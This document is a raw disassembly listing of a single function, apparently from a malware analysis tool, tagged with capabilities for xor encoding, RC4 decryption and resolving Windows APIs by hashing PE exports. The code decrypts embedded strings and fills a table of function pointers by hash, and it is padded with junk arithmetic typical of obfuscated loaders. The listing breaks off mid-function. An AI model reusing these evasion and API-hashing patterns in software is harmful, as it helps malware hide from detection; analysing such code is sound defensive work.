Function at 0x406868
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ecx, 0x26
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x48a]
mov esi, 0x413040
push ebx
sub esp, 0x57c
mov ebx, dword [0x41217c]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x4e0]
mov esi, 0x413066
call fcn.0040de0c
mov ecx, 0x13
and ebx, 0x9468b04d
xor edx, edx
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x412200]
lea eax, [ebx - 0x48582d4b]
mov dword [0x411f74], eax
mov esi, edi
mov dword [ebp - 0x54c], edi
or esi, 0x4e47c3d
mov dword [0x41217c], esi
mov byte [ebp + edx - 0x418], dl
inc edx
cmp edx, 0x100
jne 0x4068d0
lea edx, [esi - 0x11622f73]
and eax, 0xa3ce0ba8
xor edi, edi
xor ecx, ecx
mov dword [0x411fb8], edx
xor edx, 0xa2fcdaea
mov dword [0x411fa0], eax
mov dword [ebp - 0x550], edx
mov dword [0x412200], edx
call fcn.0040e574
mov al, byte [ebp + ecx - 0x418]
mov ebx, 0x12
xor edx, edx
mov byte [ebp - 0x554], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0x4e0]
movzx edx, byte [ebp - 0x554]
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x418]
mov byte [ebp + ecx - 0x418], al
mov al, byte [ebp - 0x554]
inc ecx
mov byte [ebp + edi - 0x418], al
cmp ecx, 0x100
jne 0x406911
xor eax, eax
cmp byte [eax + str.currentContextName], 0
je 0x406978
inc eax
cmp eax, 0x163f
jne 0x406965
jmp 0x40697f
cmp eax, 0x15ae
jle 0x40698d
sub esi, 0x77f8e391
mov dword [0x411fb8], esi
jmp 0x4069a2
mov eax, dword [ebp - 0x54c]
and eax, 0x3d21cb46
or eax, 0x4204804
mov dword [0x41217c], eax
mov eax, dword [ebp - 0x550]
xor edi, edi
xor esi, esi
xor ebx, ebx
mov ecx, dword [0x41217c]
or eax, 0x37eafb5d
mov dword [0x411fa0], eax
mov eax, ecx
or eax, 0xd77754d4
mov dword [ebp - 0x558], eax
inc ebx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x418]
mov byte [ebp - 0x550], al
add eax, esi
movzx esi, al
imul eax, dword [0x411fb8], 0x23843581
xor eax, 0x82b6b979
mov dword [ebp - 0x554], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0x41297c
mov dword [ebp - 0x55c], ecx
mov dword [esp + 8], str.Msg:__ws_
mov eax, dword [0x411fa0]
mov dword [esp], 0x413b24
mov dword [esp + 4], eax
call fcn.0040ca10
mov eax, dword [ebp - 0x554]
mov edx, dword [ebp - 0x554]
mov ecx, dword [ebp - 0x55c]
and eax, 0xc34f1e69
or edx, 0x49d75d5d
mov dword [ebp - 0x54c], eax
mov dword [0x411fb8], eax
mov al, byte [ebp + esi - 0x418]
mov dword [0x411fa0], edx
mov byte [ebp + ebx - 0x418], al
mov eax, dword [ebp - 0x558]
mov dword [0x411f74], eax
mov al, byte [ebp - 0x550]
mov byte [ebp + esi - 0x418], al
add al, byte [ebp + ebx - 0x418]
movzx eax, al
mov al, byte [ebp + eax - 0x418]
xor al, byte [ebp + edi - 0x48a]
movzx eax, al
mov word [ebp + edi*2 - 0x464], ax
inc edi
cmp edi, 0x26
jne 0x4069cb
mov word [ebp - 0x418], 0
mov ecx, str.currentContextName
mov ebx, 0xd94
movsx eax, byte [ecx]
inc ecx
test al, al
je 0x406adc
add ebx, eax
cmp ebx, 0x1dd6
jbe 0x406ab9
mov dword [ebp - 0x550], edx
call fcn.0040de0c
mov edx, dword [ebp - 0x550]
lea edi, [ebp - 0x4ba]
mov esi, str.read_only_file_system
mov ecx, 0x16
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x539], 0x5a
mov word [ebp - 0x53b], 0xe1a6
mov byte [ebp + eax - 0x318], al
inc eax
cmp eax, 0x100
jne 0x406b00
mov eax, dword [ebp - 0x54c]
xor edx, 0xb66e915e
xor ebx, ebx
mov dword [0x411f74], edx
add eax, 0x3b4373f2
mov dword [0x411fa0], eax
mov dword [esp + 0x10], str.iu_Latn_CA
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x413b24
mov dword [esp + 4], eax
mov dword [esp], str.HKEY_DYN_DATA
call fcn.0040ca10
xor ecx, ecx
mov eax, dword [0x411f74]
mov edi, 0x15
xor edx, edx
lea esi, [eax + 0x2a03a90a]
mov eax, esi
mov dword [0x41217c], esi
xor eax, 0x4dcf0ae3
mov dword [0x412200], eax
mov al, byte [ebp + ebx - 0x318]
mov byte [ebp - 0x550], al
mov eax, ebx
div edi
mov al, byte [ebp - 0x550]
add al, byte [ebp + edx - 0x4ba]
mov edx, dword [0x411fa0]
add ecx, eax
xor eax, eax
lea edi, [edx - 0x25cfe239]
movzx ecx, cl
mov dword [0x411f74], edi
cmp byte [eax + str.address_family_not_supported], 0
je 0x406bfc
inc eax
cmp eax, 0x185f
jne 0x406bae
mov dword [ebp - 0x558], ecx
mov dword [esp + 0x10], 0x41297c
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.Msg:__ws_
mov dword [esp + 4], edx
mov dword [esp], str.HKEY_DYN_DATA
call fcn.0040ca10
imul eax, esi, 0xeec8d760
mov ecx, dword [ebp - 0x558]
mov dword [0x411fa0], eax
jmp 0x406c03
cmp eax, 0x501
jle 0x406c47
mov dword [ebp - 0x558], ecx
imul edi, edi, 0xcc57baa0
mov dword [esp + 0x10], str.ks_Arab
mov eax, dword [ebp - 0x54c]
mov dword [esp + 8], str.Msg:__ws_
mov dword [esp + 0xc], eax
mov dword [esp + 4], esi
mov dword [esp], str.Msg:__ws_
call fcn.0040ca10
mov dword [0x412200], edi
mov ecx, dword [ebp - 0x558]
jmp 0x406c57
mov eax, dword [ebp - 0x554]
and eax, 0x824a1401
mov dword [0x41217c], eax
mov al, byte [ebp + ecx - 0x318]
mov edi, dword [0x41217c]
mov byte [ebp + ebx - 0x318], al
mov al, byte [ebp - 0x550]
xor edi, 0xae8d9a63
inc ebx
mov dword [0x41217c], edi
mov byte [ebp + ecx - 0x318], al
cmp ebx, 0x100
jne 0x406b53
mov eax, dword [0x411fa0]
xor esi, esi
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x550], eax
or eax, 0x5d75b354
mov dword [ebp - 0x554], eax
inc edx
mov ebx, dword [ebp - 0x54c]
sub edi, 0x7d10a260
movzx edx, dl
mov dword [ebp - 0x54c], edi
mov al, byte [ebp + edx - 0x318]
mov dword [ebp - 0x558], ebx
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x318]
mov byte [ebp + edx - 0x318], bl
mov byte [ebp + ecx - 0x318], al
add al, byte [ebp + edx - 0x318]
movzx eax, al
mov al, byte [ebp + eax - 0x318]
xor al, byte [esi + ebp - 0x53b]
movzx eax, al
mov word [ebp + esi*2 - 0x528], ax
inc esi
cmp esi, 3
je 0x406d1b
mov edi, dword [ebp - 0x554]
jmp 0x406cad
mov ebx, dword [ebp - 0x558]
mov dword [esp + 0x10], str.address_family_not_supported
mov dword [esp + 0xc], edi
or ebx, 0xbdbdd1f
mov dword [esp + 8], 0x413b24
imul ebx, ebx, 0x19814878
mov dword [esp], str.Msg:__ws_
mov dword [esp + 4], ebx
call fcn.0040ca10
cmp byte [0x41297c], 0
mov dword [ebp - 0x51b], 0xe9d7a135
mov word [ebp - 0x522], 0
mov dword [ebp - 0x518], 0x9be3fbe9
je 0x406dae
mov edx, dword [ebp - 0x54c]
and edx, 0x7a5a4da2
mov dword [esp + 0x10], edx
mov eax, dword [ebp - 0x54c]
mov dword [esp + 8], edx
and eax, 0x1a4900
mov dword [esp + 4], 0x413b24
mov dword [esp + 0xc], eax
mov dword [esp], 0x413b24
call fcn.0040e004
call fcn.0040dd3c
or ebx, 0x70d1bbec
lea edi, [ebp - 0x4cd]
mov esi, 0x41308f
call fcn.0040de0c
sub ebx, 0x26fdcffc
mov ecx, 0x13
rep movsb byte es:[edi], byte [esi]
call fcn.0040de0c
call fcn.0040de0c
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x406de2
or ebx, 0xdfb3f3f7
xor esi, esi
xor ecx, ecx
mov edi, 0x12
mov dword [0x412200], ebx
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x218]
div edi
movzx eax, byte [ebp + edx - 0x4cd]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ecx - 0x218], al
inc ecx
mov byte [ebp + esi - 0x218], bl
cmp ecx, 0x100
jne 0x406e06
imul eax, dword [ebp - 0x550], 0xbc0e39bb
xor edi, edi
xor esi, esi
mov dword [ebp - 0x54c], edi
xor edi, edi
mov edx, eax
and edx, 0xa6d1d625
mov dword [0x411fa0], edx
lea edx, [eax - 0x780bda6b]
sub eax, 0x739ddace
mov dword [0x411f74], edx
mov dword [0x411fb8], eax
lea eax, [esi + 1]
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp - 0x550], al
add eax, edi
movzx edi, al
xor eax, eax
cmp byte [eax + 0x41297c], 0
je 0x406ed3
inc eax
cmp eax, 0xf5f
jne 0x406e97
mov eax, dword [0x411fa0]
mov edx, dword [0x411f74]
mov dword [esp + 4], 0x413b24
mov dword [esp], str.HKEY_DYN_DATA
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
call fcn.0040e004
mov ebx, dword [0x411f74]
xor eax, eax
and dword [0x412200], 0x2adac5cc
and ebx, 0x9367e1c2
mov dword [0x41217c], ebx
cmp byte [eax + str.ks_Arab], 0
je 0x406f15
inc eax
cmp eax, 0x22d5
jne 0x406ef1
call fcn.0040dd3c
sub ebx, 0x191f8ff1
mov dword [0x411fb8], ebx
jmp 0x406f1c
cmp eax, 0x19c4
jle 0x406f21
call fcn.0040dd3c
mov eax, dword [0x411fb8]
mov ecx, 0x41264c
imul edx, eax, 0x15ee8416
mov ebx, eax
and ebx, 0xe3eb8909
mov dword [0x41217c], ebx
mov dword [0x411fa0], edx
mov dl, byte [ecx]
test dl, dl
je 0x406f64
sub edx, 0x30
cmp dl, 9
jbe 0x406f61
lea edx, [ebx - 0x1b5a4a3b]
mov dword [0x411f74], edx
jmp 0x406f64
inc ecx
jmp 0x406f45
xor ebx, 0x1ee962ef
mov dword [ebp - 0x554], eax
mov dword [0x412200], ebx
call fcn.0040de0c
mov dl, byte [ebp + edi - 0x218]
mov al, byte [ebp - 0x550]
mov byte [ebp + esi - 0x218], dl
mov byte [ebp + edi - 0x218], al
mov dl, byte [ebp + esi - 0x218]
add edx, eax
mov eax, dword [ebp - 0x54c]
inc dword [ebp - 0x54c]
movzx edx, dl
mov dl, byte [ebp + edx - 0x218]
xor dl, byte [ebp + eax - 0x51b]
cmp dword [ebp - 0x54c], 7
mov byte [ebp + eax - 0x514], dl
mov eax, dword [ebp - 0x554]
jne 0x406e7d
mov byte [ebp - 0x50d], 0
lea edi, [ebp - 0x50d]
mov esi, 0x4130a2
mov edx, eax
mov ecx, 0xd
or edx, 0xbb2bfd59
mov dword [ebp - 0x521], 0x4a2d616a
rep movsb byte es:[edi], byte [esi]
lea ecx, [eax - 0x5320bb0f]
mov word [ebp - 0x51d], 0x50
mov dword [0x41217c], ecx
mov dword [0x411fa0], edx
xor edx, edx
cmp byte [edx + str.address_family_not_supported], 0
je 0x40704d
inc edx
cmp edx, 0x115b
jne 0x40701e
or ecx, 0xd5367bbc
mov dword [ebp - 0x54c], eax
call fcn.0040e574
mov dword [0x411fa0], ecx
mov eax, dword [ebp - 0x54c]
mov esi, dword [0x411fa0]
xor edx, edx
mov byte [ebp + edx - 0x118], dl
inc edx
cmp edx, 0x100
jne 0x407055
mov ecx, str.address_family_not_supported
mov edi, 0x19fb
movsx edx, byte [ecx]
inc ecx
test dl, dl
je 0x40708f
add edi, edx
cmp edi, 0x22b9
jbe 0x40706f
mov edx, eax
and edx, 0x4c7fa913
mov dword [0x411fa0], edx
imul edi, eax, 0xa368a7f2
imul eax, eax, 0xf32c3f0e
mov dword [ebp - 0x550], edi
mov dword [0x411fb8], edi
mov dword [0x41217c], eax
call fcn.0040dd3c
xor eax, eax
cmp byte [eax + str.iu_Latn_CA], 0
je 0x4070d3
inc eax
cmp eax, 0xe38
jne 0x4070b3
imul eax, dword [0x411fa0], 0xdaad7b3
mov dword [0x41217c], eax
lea eax, [esi - 0x2786d6bd]
xor edi, edi
mov dword [ebp - 0x54c], eax
mov dword [0x411fa0], eax
mov eax, dword [0x41217c]
mov dword [ebp - 0x554], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0x413b24
mov dword [esp], str.Msg:__ws_
call fcn.0040e004
mov eax, ebx
mov esi, 5
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div esi
movzx eax, byte [ebp + edx - 0x521]
movzx edx, cl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + edi - 0x118], cl
cmp ebx, 0x100
jne 0x407113
mov byte [ebp - 0x19], al
xor eax, eax
mov byte [ebp + edi - 0x118], cl
cmp byte [eax + str.iu_Latn_CA], 0
je 0x407177
inc eax
cmp eax, 0x1add
jne 0x407161
call fcn.0040e574
mov ebx, dword [ebp - 0x54c]
and ebx, 0x84b3de84
mov dword [0x412200], ebx
mov dword [esp + 0x10], 0x41264c
mov esi, dword [ebp - 0x554]
mov dword [esp + 8], str.Msg:__ws_
add esi, 0x2e0093b0
mov dword [esp + 4], ebx
mov dword [esp + 0xc], esi
xor esi, esi
mov dword [esp], 0x413b24
call fcn.0040ca10
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0x118]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], al
mov eax, edi
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [esi + ebp - 0x50d]
movzx eax, al
mov word [ebp + esi*2 - 0x4a4], ax
inc esi
cmp esi, 0xd
jne 0x4071bf
mov eax, dword [ebp - 0x550]
xor esi, esi
mov edx, str.iu_Latn_CA
mov word [ebp - 0x48a], 0
mov dword [ebp - 0x538], esi
mov ecx, 0x1830
sub eax, 0x65cddf62
mov dword [0x411f74], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x407295
add ecx, eax
cmp ecx, 0x1f8b
jbe 0x40723b
call fcn.0040e574
mov eax, dword [ebp - 0x54c]
xor eax, 0x2c1e4ead
mov dword [0x411fb8], eax
mov dword [esp + 0x10], str.da_DK
mov eax, dword [ebp - 0x54c]
mov dword [esp + 8], str.HKEY_DYN_DATA
mov dword [esp + 0xc], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x413b24
call fcn.0040ca10
mov eax, ebx
or eax, 0xd83f371d
jmp 0x4072a0
mov eax, dword [ebp - 0x550]
xor eax, 0xe0a3014d
mov dword [0x411f74], eax
mov eax, dword [ebp - 0x54c]
xor ebx, ebx
lea edi, [ebp - 0x500]
mov esi, 0x410080
and eax, 0x3e94d09b
mov dword [0x412200], eax
mov eax, dword [0x411fb8]
mov dword [esp + 0x10], 0x41264c
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x413b24
mov dword [esp + 4], eax
mov dword [esp], 0x413b24
call fcn.0040ca10
mov ecx, 4
mov dword [ebp - 0x534], ebx
imul eax, dword [ebp - 0x54c], 0x2e82fe51
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [0x410be8]
mov dword [0x411fb8], eax
mov eax, dword fs:[0x18]
mov dword [ebx + 0x1a0], eax
mov dword [esp], 0x2d9eac90
call fcn.004051bc
test eax, eax
mov dword [ebx + 0x124], eax
lea ebx, [ebp - 0x500]
je 0x40832c
mov eax, dword [0x412200]
xor eax, 0xd995779b
mov dword [0x411f74], eax
mov dword [esp + 4], 0x62eff839
mov eax, dword [0x410be8]
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x10], edx
mov dword [esp + 4], 0x8588da46
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xc], edx
imul edx, dword [0x411f74], 0x53ce4ff9
mov dword [0x411fb8], edx
mov dword [esp + 4], 0x6dd2363d
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x14], edx
mov dword [esp + 4], 0xff3ef214
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, dword [0x410be8]
mov dword [edx + 0x18], eax
mov eax, dword [0x411f74]
sub eax, 0x32e9b32d
mov dword [0x41217c], eax
mov dword [esp + 4], 0x435b553a
mov eax, dword [edx + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, 0x41297c
mov ecx, 0xdb
mov esi, dword [0x410be8]
mov dword [esi + 0x1c], eax
movzx eax, byte [edx]
inc edx
test al, al
je 0x40742b
add ecx, eax
cmp ecx, 0xed7
jbe 0x407414
call fcn.0040dd3c
mov eax, dword [0x411fb8]
or eax, 0x711332f4
mov dword [0x411f74], eax
mov eax, dword [0x412200]
lea edx, [eax - 0x1e073217]
lea ecx, [eax - 0x531d5d84]
sub eax, 0x4d8ed19f
mov dword [0x411fa0], edx
and edx, 0x67e25189
mov dword [0x41217c], ecx
mov dword [0x411fb8], edx
mov dword [0x412200], eax
call fcn.0040e574
mov dword [esp + 4], 0x85ec4aa9
mov eax, dword [esi + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x20], edx
mov dword [esp + 4], 0x8fad7200
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x24], edx
mov dword [esp + 4], 0x4ec39558
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x28], edx
mov dword [esp + 4], 0x5c88a89e
mov eax, dword [eax + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov ecx, dword [0x410be8]
mov dword [ecx + 0x2c], eax
xor eax, eax
cmp byte [eax + str.iu_Latn_CA], 0
je 0x407518
inc eax
cmp eax, 0x1da5
jne 0x4074f3
call fcn.0040e574
imul eax, dword [0x41217c], 0x1d2f9d55
mov dword [0x41217c], eax
mov eax, dword [0x411fb8]
sub eax, 0x456ddb5e
mov dword [0x411f74], eax
imul eax, eax, 0xb871fcf3
mov dword [0x411fb8], eax
call fcn.0040e574
mov dword [esp + 4], 0x49808a32
mov eax, dword [ecx + 0x124]
mov dword [esp], eax
call fcn.00404cd0
mov esi, dword [0x410be8]
mov dword [esi + 0x30], eax
mov dword [esp], 0x33bb1218
call fcn.004051bc
mov dword [esi + 0x128], eax
test eax, eax
je 0x40832c
mov edx, 0x41264c
mov ecx, 0x1932
movzx eax, byte [edx]
inc edx
test al, al
je 0x4075ff
add ecx, eax
cmp ecx, 0x1c8a
jbe 0x40757a
mov esi, dword [0x411fa0]
mov dword [esp + 0x10], 0x41264c
mov dword [esp + 8], str.HKEY_DYN_DATA
mov dword [esp + 0xc], esi
mov eax, dword [0x412200]
add esi, 0x502cace1
mov dword [esp], 0x413b24
mov dword [esp + 4], eax
call fcn.0040ca10
mov edi, dword [0x411f74]
mov dword [0x411fa0], esi
mov dword [esp + 0x10], 0x41297c
mov dword [esp + 4], edi
sub edi, 0x44c6b8a8
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.HKEY_DYN_DATA
mov dword [esp], str.Msg:__ws_
call fcn.0040ca10
mov dword [0x412200], edi
jmp 0x407609
or dword [0x411fb8], 0xb511bc6c
add dword [0x41217c], 0x64f64850
call fcn.0040de0c
mov dword [esp + 4], 0xa10586e1
mov eax, dword [0x410be8]
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x34], edx
mov dword [esp + 4], 0x5445a3ba
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x38], edx
imul edx, dword [0x412200], 0xd72818eb
mov dword [0x411fa0], edx
mov dword [esp + 4], 0x19c68f58
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x3c], edx
mov dword [esp + 4], 0xcf5b3f1a
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, str.address_family_not_supported
mov ecx, 0x306
mov esi, dword [0x410be8]
mov dword [esi + 0x40], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x407705
add ecx, eax
cmp ecx, 0x3f8
jbe 0x4076b6
mov dword [esp + 0x10], str.ks_Arab
mov eax, dword [0x411fa0]
mov dword [esp + 8], str.HKEY_DYN_DATA
mov dword [esp + 0xc], eax
mov eax, dword [0x411f74]
mov dword [esp], str.HKEY_DYN_DATA
mov dword [esp + 4], eax
call fcn.0040ca10
imul eax, dword [0x412200], 0x3a0b88a0
mov dword [0x411f74], eax
mov eax, dword [0x41217c]
sub eax, 0x7f058c3e
mov dword [0x412200], eax
call fcn.0040dd3c
mov dword [esp + 4], 0xd99c9865
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x44], edx
mov dword [esp + 4], 0x382e9173
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov esi, dword [0x410be8]
mov edx, 0x41297c
mov dword [esi + 0x5c], eax
mov al, byte [edx]
test al, al
je 0x40777e
sub eax, 0x30
cmp al, 9
jbe 0x40777b
mov eax, dword [0x411f74]
and eax, 0x3f0b4367
mov dword [0x411fa0], eax
jmp 0x40777e
inc edx
jmp 0x40775d
mov eax, dword [0x411fb8]
xor eax, 0xbf8cab30
mov dword [0x411fb8], eax
mov dword [esp + 0x10], 0x41264c
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Msg:__ws_
mov eax, dword [0x412200]
mov dword [esp], 0x413b24
mov dword [esp + 4], eax
call fcn.0040ca10
mov dword [esp + 4], 0x960373
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, dword [0x410be8]
mov dword [edx + 0x60], eax
imul eax, dword [0x411f74], 0x4f3d627a
mov dword [0x411fb8], eax
mov eax, dword [0x412200]
or eax, 0x5f199eda
mov dword [0x411f74], eax
mov dword [esp + 4], 0x6097d7df
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x64], edx
mov dword [esp + 4], 0x1b34210d
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov ecx, dword [0x410be8]
mov edx, str.ks_Arab
mov dword [ecx + 0x68], eax
mov al, byte [edx]
test al, al
je 0x407858
sub eax, 0x30
cmp al, 9
jbe 0x407855
mov eax, dword [0x41217c]
add eax, 0x13e60d74
mov dword [0x411fb8], eax
jmp 0x407858
inc edx
jmp 0x407837
mov eax, dword [0x41217c]
add eax, 0x4d4e861e
mov dword [0x411f74], eax
mov dword [esp + 4], 0xb0f61671
mov eax, dword [ecx + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x48], edx
mov dword [esp + 4], 0xe003756
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x7c], edx
mov dword [esp + 4], 0x930adf17
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x80], edx
mov dword [esp + 4], 0xc78e496b
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x84], edx
mov dword [esp + 4], 0xc20b3c5e
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x88], edx
mov dword [esp + 4], 0x5ad35119
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x74], edx
mov dword [esp + 4], 0xbbcdeb
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x78], edx
mov dword [esp + 4], 0xb7614a52
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x8c], edx
mov dword [esp + 4], 0x7dd859ea
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, str.currentContextName
mov ecx, 0x3d1
mov esi, dword [0x410be8]
mov dword [esi + 0x90], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x4079c0
add ecx, eax
cmp ecx, 0x7da
jbe 0x40799f
imul eax, dword [0x412200], 0xca2b38f4
mov dword [0x411fb8], eax
mov eax, dword [0x41217c]
imul edx, eax, 0x9b581c6e
imul eax, eax, 0x542768b0
mov dword [0x412200], edx
mov dword [0x41217c], eax
mov dword [esp + 0x10], 0x41297c
mov eax, dword [0x411fb8]
mov dword [esp + 8], 0x413b24
mov dword [esp + 0xc], eax
mov eax, dword [0x411fa0]
mov dword [esp], str.HKEY_DYN_DATA
mov dword [esp + 4], eax
call fcn.0040ca10
mov dword [esp + 4], 0x162e3a4
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x94], edx
mov dword [esp + 4], 0xcd6a994a
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, dword [0x410be8]
mov dword [edx + 0x98], eax
mov eax, dword [0x41217c]
xor eax, 0xb08892ef
mov dword [0x411f74], eax
and eax, 0xc669a1d8
mov dword [0x411fb8], eax
mov dword [esp + 4], 0xfdd87978
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x9c], edx
mov dword [esp + 4], 0xe2588b8b
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xa0], edx
mov dword [esp + 4], 0xffa8a0e2
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, dword [0x410be8]
mov dword [edx + 0xa4], eax
mov eax, dword [0x411fb8]
xor eax, 0x8dcf908
mov dword [0x412200], eax
mov dword [esp + 4], 0xf5f4c5ca
mov eax, dword [edx + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, str.iu_Latn_CA
mov ecx, 0x5c4
mov esi, dword [0x410be8]
mov dword [esi + 0xac], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x407b2c
add ecx, eax
cmp ecx, 0x6b8
jbe 0x407b0b
mov eax, dword [0x41217c]
xor eax, 0x1c4c7f5e
mov dword [0x411f74], eax
mov eax, dword [0x411f74]
xor dword [0x411fb8], 0x5e3e77a8
add eax, 0x39accad
mov dword [0x412200], eax
mov dword [esp + 4], 0x8917a3d5
mov eax, dword [esi + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xb0], edx
mov dword [esp + 4], 0xfb59008f
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xb4], edx
mov dword [esp + 4], 0x359b1f6c
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xb8], edx
mov dword [esp + 4], 0x3f3247b3
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xbc], edx
mov dword [esp + 4], 0x877c0d3b
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0xc0], edx
mov dword [esp + 4], 0x4f3265c6
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, eax
mov eax, dword [0x410be8]
mov dword [eax + 0x6c], edx
mov dword [esp + 4], 0x47403a86
mov eax, dword [eax + 0x128]
mov dword [esp], eax
call fcn.00404cd0
mov edx, str.ks_Arab
mov ecx, 0x1167
mov esi, dword [0x410be8]
and dword [0x41217c], 0xb6e9bb48
mov dword [esi + 0x70], eax
movzx eax, byte [edx]
inc edx
test al, al
je 0x407c63
add ecx, eax
cmp ecx, 0x18b8
jbe 0x407c47
call fcn.0040dd3c
call fcn.0040e574
mov eax, dword [0x411f74]
lea edx, [eax + 0xedda058]
and eax, 0xf1c47b07
